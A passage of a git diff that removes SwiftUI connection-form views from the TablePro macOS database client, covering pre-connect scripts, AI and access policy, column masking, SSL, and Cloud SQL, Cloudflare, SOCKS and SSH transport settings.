.accessibilityIdentifier("connection-form-pre-connect-script") - LabeledContent(String(localized: "Timeout")) { - HStack(spacing: 4) { - TextField( - String(localized: "Timeout"), - value: $coordinator.advanced.scriptTimeoutSeconds, - format: .number.grouping(.never), - prompt: Text(verbatim: scriptTimeoutPlaceholder) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-script-timeout") - Text(String(localized: "seconds")) - .foregroundStyle(.secondary) - } - } - .help(String(localized: "How long each script may run, from 1 to 300 seconds.")) - } header: { - Text(String(localized: "Pre-Connect Script")) - } footer: { - Text(String(localized: """ - Runs in bash before connecting. A non-zero exit aborts the connection. \ - TABLEPRO_CONNECTION_NAME, TABLEPRO_HOST, TABLEPRO_PORT, TABLEPRO_USER and \ - TABLEPRO_DATABASE describe the connection. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var postDisconnectSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.advanced.postDisconnectScript, style: .code) - .frame(height: 80) - .accessibilityIdentifier("connection-form-post-disconnect-script") - } header: { - Text(String(localized: "Post-Disconnect Script")) - } footer: { - Text("Runs in bash once the session ends, only after its pre-connect script ran. A failure is logged, not shown.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var scriptTimeoutPlaceholder: String { - String(format: String(localized: "Default (%d)"), ConnectionScriptRunner.defaultTimeoutSeconds) - } - - // MARK: - Safety - - private var safetySection: some View { - Section { - safeModeRow - Toggle(String(localized: "Manual Commit"), isOn: $coordinator.effectiveManualCommit) - .disabled(!coordinator.isManualCommitAvailable) - if aiIsEnabled { - Picker(String(localized: "AI Policy"), selection: $coordinator.advanced.aiPolicy) { - Text(String(localized: "Use Default")) - .tag(AIConnectionPolicy?.none as AIConnectionPolicy?) - ForEach(AIConnectionPolicy.allCases) { policy in - Text(policy.displayName) - .tag(AIConnectionPolicy?.some(policy) as AIConnectionPolicy?) - } - } - ForEach(coordinator.advanced.aiAlwaysAllowedTools, id: \.self) { tool in - alwaysAllowedRow(tool) - } - } - Picker(String(localized: "External Clients"), selection: $coordinator.advanced.externalAccess) { - ForEach(ExternalAccessLevel.allCases) { level in - Text(level.displayName).tag(level) - } - } - .pickerStyle(.segmented) - } header: { - Text(String(localized: "Access")) - } footer: { - accessFooter - } - } - - private func alwaysAllowedRow(_ tool: String) -> some View { - LabeledContent { - Button(String(localized: "Forget")) { - coordinator.advanced.forgetAlwaysAllowed(tool) - } - .accessibilityLabel(String(format: String(localized: "Forget %@"), tool)) - } label: { - Text(verbatim: tool) - Text(String(localized: "Always allowed")) - } - } - - @ViewBuilder - private var safeModeRow: some View { - let levels = SafeModeFloor.levels(allowedBy: coordinator.safeModeFloor) - if levels.count == 1 { - LabeledContent(String(localized: "Safe Mode"), value: coordinator.effectiveSafeModeLevel.displayName) - } else { - Picker(String(localized: "Safe Mode"), selection: $coordinator.effectiveSafeModeLevel) { - ForEach(levels) { level in - Text(level.displayName).tag(level) - } - } - } - } - - @ViewBuilder - private var accessFooter: some View { - VStack(alignment: .leading, spacing: 4) { - if let floor = coordinator.safeModeFloor { - Text(floor.explanation) - } - if coordinator.isManualCommitAvailable { - // swiftlint:disable:next line_length - Text(String(localized: "Your first change opens a transaction, and nothing is saved until you commit. Structure changes, Users & Roles, Copy To, Generate Rows and Shortcuts actions still save at once.")) - } else { - Text(ManualCommit.unavailableExplanation) - } - if aiIsEnabled { - // swiftlint:disable:next line_length - Text(String(localized: "AI Policy controls in-app AI agents. External Clients controls Raycast, Cursor, Claude Desktop, other MCP clients, AppleScript, and Shortcuts. Effective scope is the minimum of the requesting token's scope and the External Clients level.")) - if !coordinator.advanced.aiAlwaysAllowedTools.isEmpty { - Text(String(localized: "Always Allow on an assistant tool card adds the tool here. Forget makes its next call ask again.")) - } - } else { - // swiftlint:disable:next line_length - Text(String(localized: "Controls how external clients (Raycast, Cursor, Claude Desktop, AppleScript, Shortcuts) access this connection. Tokens cannot exceed this level even with full-access scope.")) - } - if coordinator.advanced.externalAccess == .readOnly { - Text( - ReadOnlyEnforcement.externalClientsNote( - for: databaseType, - liveDriverRunsReadOnly: liveDriverRunsReadOnly - ) - ) - } - } - .font(.caption) - .foregroundStyle(.secondary) - } - - // MARK: - AI rules - - private var aiRulesSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.aiRules.rules, style: .plain) - .frame(height: 120) - } header: { - Text(String(localized: "AI Rules")) - } footer: { - Text("Guidance the AI sees on every chat turn for this connection: table conventions, columns to avoid, join hints, business rules the schema doesn't show.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - // MARK: - Sync - - private var syncSection: some View { - Section { - Toggle(String(localized: "Local only"), isOn: $coordinator.advanced.localOnly) - } header: { - Text(String(localized: "iCloud Sync")) - } footer: { - VStack(alignment: .leading, spacing: 4) { - Text("This connection won't sync to other devices via iCloud.") - if coordinator.removesSyncedSecretsOnSave { - Text("Saving removes its passwords from iCloud Keychain. Your other devices will need them entered again.") - } - } - .font(.caption) - .foregroundStyle(.secondary) - } - } -} - -/// Columns whose values TablePro hides, for this connection, in the grid, exports, the assistant and MCP. -private struct MaskingRulesSection: View { - @ObservedObject var model: MaskingRulesPaneViewModel - - var body: some View { - Section { - ForEach(model.rules) { rule in - MaskingRuleRow(rule: rule, onChange: model.update, onRemove: { model.removeRule(id: rule.id) }) - } - Button(String(localized: "Add Rule")) { - model.addRule() - } - .accessibilityIdentifier("connection-form-add-masking-rule") - } header: { - Text(String(localized: "Masking")) - } footer: { - Text(String(localized: """ - Hides matching values in the grid, copies, exports, shared links, the AI assistant and MCP. \ - A pattern is table.column or column, with * as a wildcard, such as *.email. \ - Filters and sorts still run on the stored values, so masking does not replace database permissions. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } -} - -private struct MaskingRuleRow: View { - let rule: MaskingRule - let onChange: (MaskingRule) -> Void - let onRemove: () -> Void - - var body: some View { - HStack(spacing: 8) { - Picker(String(localized: "Match"), selection: binding(\.target)) { - ForEach(MaskingTarget.allCases) { target in - Text(target.displayName).tag(target) - } - } - .labelsHidden() - .fixedSize() - TextField( - String(localized: "Pattern"), - text: binding(\.pattern), - prompt: Text(verbatim: rule.target == .column ? "*.email" : "uuid") - ) - .labelsHidden() - .accessibilityIdentifier("connection-form-masking-pattern") - Picker(String(localized: "Mask"), selection: binding(\.style)) { - ForEach(MaskingStyle.allCases) { style in - Text(style.displayName).tag(style) - } - } - .labelsHidden() - .fixedSize() - Button(action: onRemove) { - Image(systemName: "minus.circle") - } - .buttonStyle(.borderless) - .help(String(localized: "Remove Rule")) - .accessibilityLabel(String(localized: "Remove Rule")) - } - } - - private func binding(_ keyPath: WritableKeyPath) -> Binding { - Binding( - get: { rule[keyPath: keyPath] }, - set: { newValue in - var updated = rule - updated[keyPath: keyPath] = newValue - onChange(updated) - } - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/SSLSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/SSLSections.swift deleted file mode 100644 index 269e46cdaa..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/SSLSections.swift +++ /dev/null @@ -1,163 +0,0 @@ -// -// SSLSections.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit -import UniformTypeIdentifiers - -/// Transport encryption, as sections of the Network tab's form. -/// -/// It sits under the transport picker because it answers the same question: how the bytes get -/// there. As its own sidebar pane it was one more destination to visit for a setting most -/// connections leave alone. -struct SSLSections: View { - let databaseType: DatabaseType - var usesLocalSocket = false - @Binding var sslMode: SSLMode - @Binding var sslCaCertPath: String - @Binding var sslClientCertPath: String - @Binding var sslClientKeyPath: String - @Binding var sslClientKeyPassphrase: String - - private var supportsPerConnectionCertPaths: Bool { databaseType.supportsPerConnectionCertificatePaths } - - private var caCertificateIsOptional: Bool { - !databaseType.requiresCACertificate(for: sslMode) - } - - private var caCertificatePrompt: String { - caCertificateIsOptional ? String(localized: "Optional") : "/path/to/ca-cert.pem" - } - - private var noOpportunisticTLSWarning: String { - if databaseType == .oracle { - return String(localized: "Preferred connects in plain TCP for this driver. Use Required to enforce TCPS.") - } - return String(localized: "This driver has no TLS fallback. Preferred forces TLS, same as Required.") - } - - var body: some View { - Group { - Section { - Picker(String(localized: "SSL Mode"), selection: $sslMode) { - ForEach(SSLMode.allCases) { mode in - Text(mode.displayLabel).tag(mode) - } - } - .accessibilityIdentifier("connection-form-ssl-mode") - if sslMode == .preferred, !databaseType.supportsOpportunisticTLS { - NoticeLabel(noOpportunisticTLSWarning, severity: databaseType == .oracle ? .error : .warning) - .font(.caption) - } - } footer: { - VStack(alignment: .leading, spacing: 6) { - if !databaseType.sslPaneTooltip.isEmpty { - Text(databaseType.sslPaneTooltip) - } - if sslMode != .disabled { - Text(sslMode.description) - } - if usesLocalSocket && sslMode == .preferred { - Text(String(localized: "Preferred leaves a socket connection unencrypted. Required encrypts it.")) - } - } - .font(.caption) - .foregroundStyle(.secondary) - } - - if sslMode != .disabled { - if !supportsPerConnectionCertPaths { - Section { - Text(String(localized: """ - Verify CA and Verify Identity check the server certificate against the system trust \ - store. This driver takes no custom CA or client certificate. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } header: { - Text(String(localized: "Certificate Trust")) - } - } else if sslMode == .verifyCa || sslMode == .verifyIdentity { - Section { - LabeledContent(String(localized: "Certificate")) { - HStack { - TextField("", text: $sslCaCertPath, prompt: Text(caCertificatePrompt)) - Button(String(localized: "Browse")) { - browseForCertificate(binding: $sslCaCertPath) - } - .controlSize(.small) - } - } - } header: { - Text(String(localized: "CA Certificate")) - } footer: { - if caCertificateIsOptional { - Text(String(localized: "Leave empty to use the system trust store.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - if supportsPerConnectionCertPaths { - Section { - LabeledContent(String(localized: "Client Certificate")) { - HStack { - TextField( - "", text: $sslClientCertPath, - prompt: Text(String(localized: "Optional"))) - Button(String(localized: "Browse")) { - browseForCertificate(binding: $sslClientCertPath) - } - .controlSize(.small) - } - } - LabeledContent(String(localized: "Client Key")) { - HStack { - TextField( - "", text: $sslClientKeyPath, - prompt: Text(String(localized: "Optional"))) - Button(String(localized: "Browse")) { - browseForCertificate(binding: $sslClientKeyPath) - } - .controlSize(.small) - } - } - if databaseType.supportsClientKeyPassphrase, - !sslClientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { - LabeledContent(String(localized: "Key Passphrase")) { - SecureField( - "", text: $sslClientKeyPassphrase, - prompt: Text(String(localized: "Required only for an encrypted key"))) - } - } - } header: { - Text(String(localized: "Client Certificates")) - } footer: { - Text(String(localized: "Required only when the server enforces mutual TLS authentication.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - } - } - - private func browseForCertificate(binding: Binding) { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - panel.allowsMultipleSelection = false - panel.canChooseDirectories = false - panel.allowedContentTypes = [.data] - panel.showsHiddenFiles = true - panel.message = String(localized: "Choose a certificate or key file") - - panel.beginSheetModal(for: window) { response in - if response == .OK, let url = panel.url { - binding.wrappedValue = url.path(percentEncoded: false) - } - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudSQLProxyTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudSQLProxyTransportSections.swift deleted file mode 100644 index 813edeb28a..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudSQLProxyTransportSections.swift +++ /dev/null @@ -1,185 +0,0 @@ -// -// CloudSQLProxyTransportSections.swift -// TablePro -// - -import AppKit -import SwiftUI - -struct CloudSQLProxyTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - private var viewModel: CloudSQLProxyPaneViewModel { coordinator.cloudSQLProxy } - - var body: some View { - instanceSection - authenticationSection - networkSection - listenerSection - binarySection - } - - // MARK: - Sections - - private var instanceSection: some View { - Section { - TextField( - String(localized: "Instance connection name"), - text: $coordinator.cloudSQLProxy.state.instanceConnectionName, - prompt: Text(verbatim: "project:region:instance") - ) - .autocorrectionDisabled() - } header: { - Text("Cloud SQL Instance") - } footer: { - Text("Find this on the instance's overview page in the Google Cloud console.") - } - } - - @ViewBuilder - private var authenticationSection: some View { - Section { - Picker(String(localized: "Credentials"), selection: $coordinator.cloudSQLProxy.state.authMode) { - ForEach(CloudSQLProxyAuthMode.allCases) { mode in - Text(mode.displayName).tag(mode) - } - } - - switch coordinator.cloudSQLProxy.state.authMode { - case .applicationDefault: - Text("Uses this Mac's Application Default Credentials. Run `gcloud auth application-default login` first, or set GOOGLE_APPLICATION_CREDENTIALS.") - .font(.caption) - .foregroundStyle(.secondary) - case .serviceAccountKey: - serviceAccountKeyEditor - } - - Toggle( - String(localized: "Use IAM database authentication"), - isOn: $coordinator.cloudSQLProxy.state.useIAMAuth - ) - } header: { - Text("Authentication") - } footer: { - if coordinator.cloudSQLProxy.state.useIAMAuth { - Text("Set the connection's username to the IAM principal (a user email, or `name@project.iam` for a service account). The database password is not used.") - } - } - } - - private var serviceAccountKeyEditor: some View { - VStack(alignment: .leading, spacing: 4) { - Text("Service account key (JSON)") - .font(.caption) - .foregroundStyle(.secondary) - StartupCommandsEditor(text: $coordinator.cloudSQLProxy.state.serviceAccountKeyJSON, style: .code) - .frame(minHeight: 96) - Text("Stored in the macOS Keychain and written to a temporary file only while the proxy runs.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var networkSection: some View { - Section { - Toggle(String(localized: "Connect over private IP"), isOn: $coordinator.cloudSQLProxy.state.usePrivateIP) - } footer: { - Text("Use the instance's private IP address instead of its public IP.") - } - } - - @ViewBuilder - private var listenerSection: some View { - Section { - Toggle(String(localized: "Choose port automatically"), isOn: $coordinator.cloudSQLProxy.state.automaticPort) - if !coordinator.cloudSQLProxy.state.automaticPort { - TextField( - String(localized: "Local port"), - text: $coordinator.cloudSQLProxy.state.localPort, - prompt: Text(verbatim: "5432") - ) - } - } header: { - Text("Local Listener") - } footer: { - Text("Listens only on 127.0.0.1.") - } - } - - @ViewBuilder - private var binarySection: some View { - Section { - TextField( - String(localized: "Path"), - text: $coordinator.cloudSQLProxy.state.binaryPath, - prompt: Text("Automatic") - ) - HStack { - Button("Choose…") { - chooseBinary() - } - .controlSize(.small) - if !viewModel.isDownloading { - Button("Download cloud-sql-proxy") { - viewModel.downloadBinary() - } - .controlSize(.small) - } - } - - switch viewModel.downloadPhase { - case .downloading(let fraction): - downloadProgress(fraction) - case .failed(let message): - NoticeLabel(message) - .textSelection(.enabled) - case .idle: - EmptyView() - } - - if coordinator.cloudSQLProxy.state.binaryPath.isEmpty, !viewModel.isDownloading { - if let resolved = viewModel.resolvedBinaryPath { - LabeledContent(String(localized: "Detected"), value: resolved) - .foregroundStyle(.secondary) - } else if viewModel.didResolveBinary { - NoticeLabel(viewModel.binaryNotFoundMessage) - .textSelection(.enabled) - } - } - } header: { - Text(verbatim: "cloud-sql-proxy") - } - } - - private func downloadProgress(_ fraction: Double?) -> some View { - HStack(spacing: 8) { - ProgressView(value: fraction) { - Text("Downloading cloud-sql-proxy") - } currentValueLabel: { - if let fraction { - Text(fraction, format: .percent.precision(.fractionLength(0))) - } - } - .controlSize(.small) - - Button("Cancel") { - viewModel.cancelDownload() - } - .controlSize(.small) - } - } - - // MARK: - Actions - - private func chooseBinary() { - let panel = NSOpenPanel() - panel.canChooseFiles = true - panel.canChooseDirectories = false - panel.allowsMultipleSelection = false - panel.directoryURL = URL(fileURLWithPath: "/usr/local/bin") - panel.presentAsSheet(for: NSApp.keyWindow) { url in - guard let url else { return } - coordinator.cloudSQLProxy.state.binaryPath = url.path - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudflareTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudflareTransportSections.swift deleted file mode 100644 index 1c1ed7a3b6..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudflareTransportSections.swift +++ /dev/null @@ -1,130 +0,0 @@ -// -// CloudflareTransportSections.swift -// TablePro -// - -import AppKit -import SwiftUI - -struct CloudflareTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - private var viewModel: CloudflareTunnelPaneViewModel { coordinator.cloudflareTunnel } - - var body: some View { - hostnameSection - authenticationSection - listenerSection - binarySection - } - - // MARK: - Sections - - private var hostnameSection: some View { - Section(String(localized: "Access Application")) { - TextField( - String(localized: "Hostname"), - text: $coordinator.cloudflareTunnel.state.accessHostname, - prompt: Text(verbatim: "db.example.com") - ) - .autocorrectionDisabled() - } - } - - @ViewBuilder - private var authenticationSection: some View { - Section(String(localized: "Authentication")) { - Picker(String(localized: "Method"), selection: $coordinator.cloudflareTunnel.state.authMethod) { - ForEach(CloudflareAuthMethod.allCases) { method in - Text(method.displayName).tag(method) - } - } - - switch coordinator.cloudflareTunnel.state.authMethod { - case .browserSSO: - Button("Sign In with Browser…") { - viewModel.signInWithBrowser() - } - .disabled(coordinator.cloudflareTunnel.state.accessHostname.trimmingCharacters(in: .whitespaces).isEmpty) - if let signInError = viewModel.signInError { - NoticeLabel(signInError) - .font(.caption) - } else { - Text("Signs in to Cloudflare Access once and caches the token, so connecting doesn't open a browser.") - .font(.caption) - .foregroundStyle(.secondary) - } - case .serviceToken: - SecureField(String(localized: "Client ID"), text: $coordinator.cloudflareTunnel.state.serviceTokenId) - SecureField(String(localized: "Client Secret"), text: $coordinator.cloudflareTunnel.state.serviceTokenSecret) - Text("The Access application policy must use a Service Auth rule, or Cloudflare still prompts for browser sign-in.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - @ViewBuilder - private var listenerSection: some View { - Section { - Toggle(String(localized: "Choose port automatically"), isOn: $coordinator.cloudflareTunnel.state.automaticPort) - if !coordinator.cloudflareTunnel.state.automaticPort { - TextField( - String(localized: "Local port"), - text: $coordinator.cloudflareTunnel.state.localPort, - prompt: Text(verbatim: "5432") - ) - } - Toggle(String(localized: "Expose to local network"), isOn: $coordinator.cloudflareTunnel.state.exposeToLAN) - } header: { - Text("Local Listener") - } footer: { - if coordinator.cloudflareTunnel.state.exposeToLAN { - Text("Listens on all interfaces (0.0.0.0), reachable from your local network.") - } else { - Text("Listens only on 127.0.0.1.") - } - } - } - - @ViewBuilder - private var binarySection: some View { - Section { - TextField( - String(localized: "Path"), - text: $coordinator.cloudflareTunnel.state.binaryPath, - prompt: Text("Automatic") - ) - Button("Choose…") { - chooseBinary() - } - .controlSize(.small) - - if coordinator.cloudflareTunnel.state.binaryPath.isEmpty { - if let resolved = viewModel.resolvedBinaryPath { - LabeledContent(String(localized: "Detected"), value: resolved) - .foregroundStyle(.secondary) - } else if viewModel.didResolveBinary { - NoticeLabel(viewModel.binaryNotFoundMessage) - .textSelection(.enabled) - } - } - } header: { - Text(verbatim: "cloudflared") - } - } - - // MARK: - Actions - - private func chooseBinary() { - let panel = NSOpenPanel() - panel.canChooseFiles = true - panel.canChooseDirectories = false - panel.allowsMultipleSelection = false - panel.directoryURL = URL(fileURLWithPath: "/usr/local/bin") - panel.presentAsSheet(for: NSApp.keyWindow) { url in - guard let url else { return } - coordinator.cloudflareTunnel.state.binaryPath = url.path - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SOCKSProxyTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/SOCKSProxyTransportSections.swift deleted file mode 100644 index f6dd941c71..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SOCKSProxyTransportSections.swift +++ /dev/null @@ -1,44 +0,0 @@ -// -// SOCKSProxyTransportSections.swift -// TablePro -// - -import SwiftUI - -struct SOCKSProxyTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - serverSection - credentialsSection - } - - private var serverSection: some View { - Section(String(localized: "Proxy Server")) { - TextField( - String(localized: "Host"), - text: $coordinator.socksProxy.state.host, - prompt: Text(verbatim: "proxy.example.com") - ) - .autocorrectionDisabled() - .accessibilityIdentifier("connection-form-socks-host") - TextField( - String(localized: "Port"), - text: $coordinator.socksProxy.state.port, - prompt: Text(verbatim: "1080") - ) - } - } - - private var credentialsSection: some View { - Section { - TextField(String(localized: "Username"), text: $coordinator.socksProxy.state.username) - .autocorrectionDisabled() - SecureField(String(localized: "Password"), text: $coordinator.socksProxy.state.password) - } header: { - Text("Credentials") - } footer: { - Text("Leave blank to connect without authentication. The password is stored in the macOS Keychain.") - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHServerSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHServerSections.swift deleted file mode 100644 index 8e2e2e197a..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SSHServerSections.swift +++ /dev/null @@ -1,373 +0,0 @@ -// -// SSHServerSections.swift -// TablePro -// - -import SwiftUI -import TableProSSHConfig -import TableProSSHTransport - -/// Which SSH server to reach, and how to sign in to it. -/// -/// Sections rather than a `Form`, because the Network tab is the form. It used to wrap itself in -/// one and be embedded inside another by the Remote File pane, which is a grouped form nested in a -/// grouped form and inset twice. -struct SSHServerSections: View { - @Binding var sshState: SSHTunnelFormState - - var body: some View { - sshProfileSection - - if sshState.selectedProfile == nil, sshState.profileId != nil { - Section { - NoticeLabel(String(localized: "Selected SSH profile no longer exists.")) - Button(String(localized: "Switch to Inline Configuration")) { - sshState.profileId = nil - } - } - } else if sshState.selectedProfile == nil { - sshInlineFields - } - } - - // MARK: - SSH Profile Section - - private var sshProfileSection: some View { - Section(String(localized: "Profile")) { - Picker(String(localized: "Profile"), selection: $sshState.profileId) { - Text("Inline Configuration").tag(UUID?.none) - ForEach(sshState.profiles) { profile in - Text("\(profile.name) (\(profile.username)@\(profile.host))").tag(UUID?.some(profile.id)) - } - } - - HStack(spacing: 12) { - Button("Create New Profile…") { - sshState.showingCreateProfile = true - } - - if sshState.profileId != nil { - Button("Edit Profile…") { - if let profileId = sshState.profileId { - sshState.editingProfile = SSHProfileStorage.shared.profile(for: profileId) - } - } - } - - if sshState.profileId == nil && sshState.enabled && !sshState.host.isEmpty { - Button("Save Current as Profile…") { - sshState.showingSaveAsProfile = true - } - } - } - .controlSize(.small) - - if let profile = sshState.selectedProfile { - DisclosureGroup(String(localized: "Profile Details")) { - LabeledContent(String(localized: "Host"), value: profile.host) - LabeledContent(String(localized: "Port"), value: profile.port.map(String.init) ?? "22") - LabeledContent(String(localized: "Username"), value: profile.username) - LabeledContent(String(localized: "Authentication Method"), value: profile.authMethod.rawValue) - if !profile.privateKeyPath.isEmpty { - LabeledContent( - profile.authMethod == .sshAgent - ? String(localized: "Identity File") - : String(localized: "Key File"), - value: profile.privateKeyPath - ) - } - if !profile.jumpHosts.isEmpty { - LabeledContent(String(localized: "Jump Hosts"), value: "\(profile.jumpHosts.count)") - } - } - } - } - .sheet(isPresented: $sshState.showingCreateProfile) { - SSHProfileEditorView(existingProfile: nil, onSave: { _ in - reloadProfiles() - }) - } - .sheet(item: $sshState.editingProfile) { profile in - SSHProfileEditorView(existingProfile: profile, onSave: { _ in - reloadProfiles() - }, onDelete: { - reloadProfiles() - }) - } - .sheet(isPresented: $sshState.showingSaveAsProfile) { - SSHProfileEditorView( - existingProfile: buildProfileFromInlineConfig(), - initialPassword: sshState.password, - initialKeyPassphrase: sshState.keyPassphrase, - initialTOTPSecret: sshState.totpSecret, - onSave: { savedProfile in - sshState.profileId = savedProfile.id - reloadProfiles() - } - ) - } - } - - private func reloadProfiles() { - sshState.profiles = SSHProfileStorage.shared.loadProfiles() - if let id = sshState.profileId, - !SSHProfileStorage.shared.lastLoadFailed, - !sshState.profiles.contains(where: { $0.id == id }) { - sshState.profileId = nil - } - } - - private func buildProfileFromInlineConfig() -> SSHProfile { - SSHProfile( - name: "", - host: sshState.host, - port: Int(sshState.port), - username: sshState.username, - authMethod: sshState.authMethod, - privateKeyPath: sshState.privateKeyPath, - agentSocketPath: sshState.resolvedAgentSocketPath, - jumpHosts: sshState.jumpHosts, - totpMode: sshState.totpMode, - totpAlgorithm: sshState.totpAlgorithm, - totpDigits: sshState.totpDigits, - totpPeriod: sshState.totpPeriod - ) - } - - // MARK: - SSH Inline Fields - - private var sshInlineFields: some View { - Group { - Section(String(localized: "Server")) { - if !sshState.configEntries.isEmpty { - Picker(String(localized: "Config Host"), selection: $sshState.selectedConfigHost) { - Text(String(localized: "Manual")).tag("") - ForEach(sshState.configEntries) { entry in - Text(entry.displayName).tag(entry.host) - } - } - .onChange(of: sshState.selectedConfigHost) { _ in - applySSHConfigEntry(sshState.selectedConfigHost) - } - } - if sshState.selectedConfigHost.isEmpty || sshState.configEntries.isEmpty { - TextField(String(localized: "SSH Host"), text: $sshState.host, prompt: Text("ssh.example.com")) - .accessibilityIdentifier("connection-form-ssh-host") - } - TextField(String(localized: "SSH Port"), text: $sshState.port, prompt: Text("22")) - TextField(String(localized: "SSH User"), text: $sshState.username, prompt: Text("username")) - } - - Section(String(localized: "Authentication")) { - Picker(String(localized: "Method"), selection: $sshState.authMethod) { - ForEach(SSHAuthMethod.allCases) { method in - Text(method.rawValue).tag(method) - } - } - if sshState.authMethod == .password { - SecureField(String(localized: "Password"), text: $sshState.password) - } else if sshState.authMethod == .sshAgent { - Picker(String(localized: "Agent Socket"), selection: $sshState.agentSocketOption) { - ForEach(SSHAgentSocketOption.allCases) { option in - Text(option.displayName).tag(option) - } - } - if sshState.agentSocketOption == .custom { - TextField( - String(localized: "Custom Path"), - text: $sshState.customAgentSocketPath, - prompt: Text("/path/to/agent.sock") - ) - } - Text(sshState.agentSocketOption.explanation) - .font(.caption) - .foregroundStyle(.secondary) - LabeledContent(String(localized: "Identity File")) { - HStack { - TextField( - "", - text: $sshState.privateKeyPath, - prompt: Text("~/.ssh/id_ed25519.pub") - ) - Button(String(localized: "Browse")) { - browseForKeyFile( - message: String(localized: "Choose a public key file") - ) { sshState.privateKeyPath = $0 } - } - .controlSize(.small) - } - } - Text(String(localized: """ - Offers the agent key matching this public key file first. With IdentitiesOnly yes \ - in ~/.ssh/config, only that key is offered. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } else if sshState.authMethod == .keyboardInteractive { - SecureField(String(localized: "Password"), text: $sshState.password) - Text(String(localized: "Password is sent via keyboard-interactive challenge-response.")) - .font(.caption) - .foregroundStyle(.secondary) - } else if sshState.authMethod == .none { - Text("No credentials are sent. Use this when the server handles authentication itself, such as a Tailscale SSH host.") - .font(.caption) - .foregroundStyle(.secondary) - } else { - LabeledContent(String(localized: "Key File")) { - HStack { - TextField("", text: $sshState.privateKeyPath, prompt: Text("~/.ssh/id_rsa")) - Button(String(localized: "Browse")) { browseForKeyFile { sshState.privateKeyPath = $0 } } - .controlSize(.small) - } - } - SecureField(String(localized: "Passphrase"), text: $sshState.keyPassphrase) - if sshState.privateKeyPath.isEmpty { - Text(String(localized: "Auto-detects from ~/.ssh/config and default key locations.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - if sshState.authMethod.supportsTwoFactorAuthentication { - Section(String(localized: "Two-Factor Authentication")) { - Picker(String(localized: "TOTP"), selection: $sshState.totpMode) { - ForEach(TOTPMode.allCases) { mode in - Text(mode.displayName).tag(mode) - } - } - - if sshState.totpMode == .autoGenerate { - SecureField(String(localized: "TOTP Secret"), text: $sshState.totpSecret) - .help(String(localized: "Base32-encoded secret from your authenticator setup")) - Picker(String(localized: "Algorithm"), selection: $sshState.totpAlgorithm) { - ForEach(TOTPAlgorithm.allCases) { algo in - Text(algo.rawValue).tag(algo) - } - } - Picker(String(localized: "Digits"), selection: $sshState.totpDigits) { - Text("6").tag(6) - Text("8").tag(8) - } - Picker(String(localized: "Period"), selection: $sshState.totpPeriod) { - Text("30s").tag(30) - Text("60s").tag(60) - } - } else { - Text(String(localized: "If the SSH server asks for a verification code, TablePro prompts you for it when you connect.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - Section { - DisclosureGroup(String(localized: "Jump Hosts")) { - ForEach(sshState.jumpHosts) { jumpHost in - let jumpHostBinding = $sshState.jumpHosts.element(jumpHost) - DisclosureGroup { - TextField( - String(localized: "Host"), - text: jumpHostBinding.host, - prompt: Text("bastion.example.com") - ) - HStack { - TextField( - String(localized: "Port"), - text: Binding( - get: { jumpHostBinding.wrappedValue.port.map(String.init) ?? "" }, - set: { jumpHostBinding.wrappedValue.port = Int($0) } - ), - prompt: Text("22") - ) - .frame(width: 80) - TextField( - String(localized: "Username"), - text: jumpHostBinding.username, - prompt: Text("admin") - ) - } - Picker(String(localized: "Auth"), selection: jumpHostBinding.authMethod) { - ForEach(SSHJumpAuthMethod.allCases) { method in - Text(method.rawValue).tag(method) - } - } - if jumpHost.authMethod == .privateKey { - LabeledContent(String(localized: "Key File")) { - HStack { - TextField( - "", - text: jumpHostBinding.privateKeyPath, - prompt: Text("~/.ssh/id_rsa") - ) - Button(String(localized: "Browse")) { - browseForKeyFile { jumpHostBinding.wrappedValue.privateKeyPath = $0 } - } - .controlSize(.small) - } - } - } - } label: { - HStack { - Text( - jumpHost.host.isEmpty - ? String(localized: "New Jump Host") - : "\(jumpHost.username)@\(jumpHost.host)" - ) - .foregroundStyle(jumpHost.host.isEmpty ? .secondary : .primary) - Spacer() - Button { - let idToRemove = jumpHost.id - withMotion { sshState.jumpHosts.removeAll { $0.id == idToRemove } } - } label: { - Image(systemName: "minus.circle") - } - .buttonStyle(.borderless) - .accessibilityLabel(String(localized: "Remove jump host")) - } - } - } - .onMove { indices, destination in - sshState.jumpHosts.move(fromOffsets: indices, toOffset: destination) - } - - Button { - sshState.jumpHosts.append(SSHJumpHost()) - } label: { - Label(String(localized: "Add Jump Host"), systemImage: "plus") - } - - 